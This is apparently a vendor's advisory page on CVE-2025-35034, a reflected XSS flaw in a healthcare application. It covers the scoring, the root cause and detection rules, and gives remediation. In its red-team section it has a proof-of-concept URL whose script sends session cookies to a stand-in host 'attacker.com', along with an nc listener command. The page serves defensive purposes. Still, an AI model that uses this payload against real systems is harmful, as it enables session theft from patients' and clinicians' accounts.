CVE-2025-35034
Executive Summary
CVE-2025-35034 is a reflected Cross-Site Scripting (XSS) vulnerability in Medical Informatics Engineering's Enterprise Health application. The flaw exists in the portlet_user_id URL parameter, allowing a remote, unauthenticated attacker to craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vendor has applied a fix as of March 14, 2025, but no public patch details or version numbers have been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for healthcare environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary healthcare application. No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click the crafted URL
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – potential for session token theft
- Integrity Impact: Low (I:L) – potential for content injection
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the context of healthcare data makes this a higher priority for patching.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the portlet_user_id parameter. The application fails to sanitize or encode user input before reflecting it in the HTTP response. An attacker can inject JavaScript payloads via the URL, which are executed in the context of the victim's session.
Attack Flow:
- Attacker crafts a malicious URL:
https://target-enterprise-health.com/some-page?portlet_user_id=<script>alert('XSS')</script> - Attacker delivers the URL via phishing email, social media, or other means.
- Victim, authenticated to the Enterprise Health application, clicks the link.
- The application reflects the payload in the response without sanitization.
- The victim's browser executes the JavaScript, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.
Root Cause: Lack of output encoding for the portlet_user_id parameter in the server-side response.
Vulnerable vs. Patched Code
No specific code snippets are available due to the proprietary nature of the software. However, the fix likely involves:
Vulnerable (Conceptual):
String userId = request.getParameter("portlet_user_id");
response.getWriter().write("<div>User ID: " + userId + "</div>");
Patched (Conceptual):
String userId = request.getParameter("portlet_user_id");
String encodedUserId = Encode.forHtml(userId);
response.getWriter().write("<div>User ID: " + encodedUserId + "</div>");
The patched version uses context-aware output encoding (e.g., OWASP Java Encoder) to neutralize the XSS vector.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A test instance of Enterprise Health (vulnerable version)
- A web browser with developer tools
- A simple HTTP server to capture cookies (e.g.,
nc -lvnp 8080)
Proof-of-Concept (PoC) URL:
https://target-enterprise-health.com/portal?portlet_user_id=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
Steps:
- Set up a listener on attacker machine:
nc -lvnp 8080 - Craft the URL with a payload that exfiltrates cookies.
- Send the URL to a victim (simulated in lab).
- Victim clicks the link; the JavaScript executes and sends the cookie to the attacker's listener.
Note: No public exploit code is available. The above is a generic XSS PoC.
Blue Team
Detection:
- Monitor web server logs for requests containing
<script>tags or suspicious characters in theportlet_user_idparameter. - Use WAF rules to block reflected XSS patterns.
- Deploy browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
Hunting:
- Search for URLs with
portlet_user_idcontaining%3Cscript%3E(URL-encoded<script>). - Correlate with unusual outbound connections from client browsers.
Indicators of Compromise (IOCs)
- Network IOCs:
- URLs containing
portlet_user_id=<script>or similar payloads. - Outbound HTTP requests to attacker-controlled domains from client browsers.
- URLs containing
- Host IOCs:
- Browser history entries with XSS payloads in the
portlet_user_idparameter. - Unexpected cookies or session tokens in browser storage.
- Browser history entries with XSS payloads in the
- Log IOCs:
- Web server logs with
portlet_user_idvalues containing HTML/JavaScript. - 400/500 errors from malformed XSS attempts.
- Web server logs with
Detection Engineering
YARA Rule
rule CVE_2025_35034_XSS_Detection {
meta:
description = "Detects reflected XSS attempts targeting CVE-2025-35034"
author = "Valters IT"
date = "2025-03-15"
reference = "CVE-2025-35034"
strings:
$xss_payload = /portlet_user_id=.*<script[^>]*>.*<\/script>/i
$xss_encoded = /portlet_user_id=.*%3Cscript%3E.*%3C\/script%3E/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt on Enterprise Health portlet_user_id
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts in the portlet_user_id parameter
author: Valters IT
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-uri-query|contains:
- 'portlet_user_id=<script'
- 'portlet_user_id=%3Cscript%3E'
condition: selection
falsepositives:
- Legitimate use of script tags in parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-35034 Reflected XSS in portlet_user_id"; flow:to_server,established; content:"portlet_user_id"; http_uri; pcre:"/portlet_user_id=.*<script[^>]*>.*<\/script>/iU"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply the vendor patch (applied as of 2025-03-14). Contact Medical Informatics Engineering for specific version details.
- If patching is not possible, implement a Web Application Firewall (WAF) rule to block requests containing
<script>in theportlet_user_idparameter. - Restrict access to the Enterprise Health application to trusted networks only.
Long-Term Fixes:
- Ensure all user input is properly validated and output-encoded.
- Conduct a security audit of all URL parameters for similar vulnerabilities.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Workarounds:
- Disable JavaScript in the browser for the Enterprise Health domain (not recommended for functionality).
- Use browser extensions that block XSS (e.g., NoScript).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.